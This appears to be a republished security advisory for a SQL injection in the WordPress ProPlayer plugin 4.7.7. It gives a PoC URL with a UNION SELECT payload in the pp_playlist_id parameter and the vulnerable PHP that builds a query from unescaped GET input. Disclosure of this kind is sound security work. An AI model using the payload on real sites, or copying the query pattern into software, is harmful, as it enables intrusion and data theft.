# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm) # Software Link: http://downloads.wordpress.org/plugin/proplayer.4.7.7.zip # Version: 4.7.7 (tested) --- PoC --- http://www.2cto.com /wp-content/plugins/proplayer/playlist-controller.php?pp_playlist_id=-1') UNION ALL SELECT NULL,NULL,@@version--%20 --------------- Vulnerable code --------------- function getPlaylist($id = '') { $query = mysql _query("SELECT * FROM ".$this->tablePrefix."proplayer_playlist WHERE (POST_ID='$id')"); $playlistRow = mysql_fetch_row($query); return $this->withBackwardCompatibility($playlistRow[2]); } ... if (!empty($_GET["pp_playlist_id"])) { header("Content-type: application/xml"); $xml = $playlistController->getPlaylist($_GET["pp_playlist_id"]);
查看更多关于ProPlayer plugin <= 4.7.7 SQL注射缺陷及修复 - 网站安的详细内容...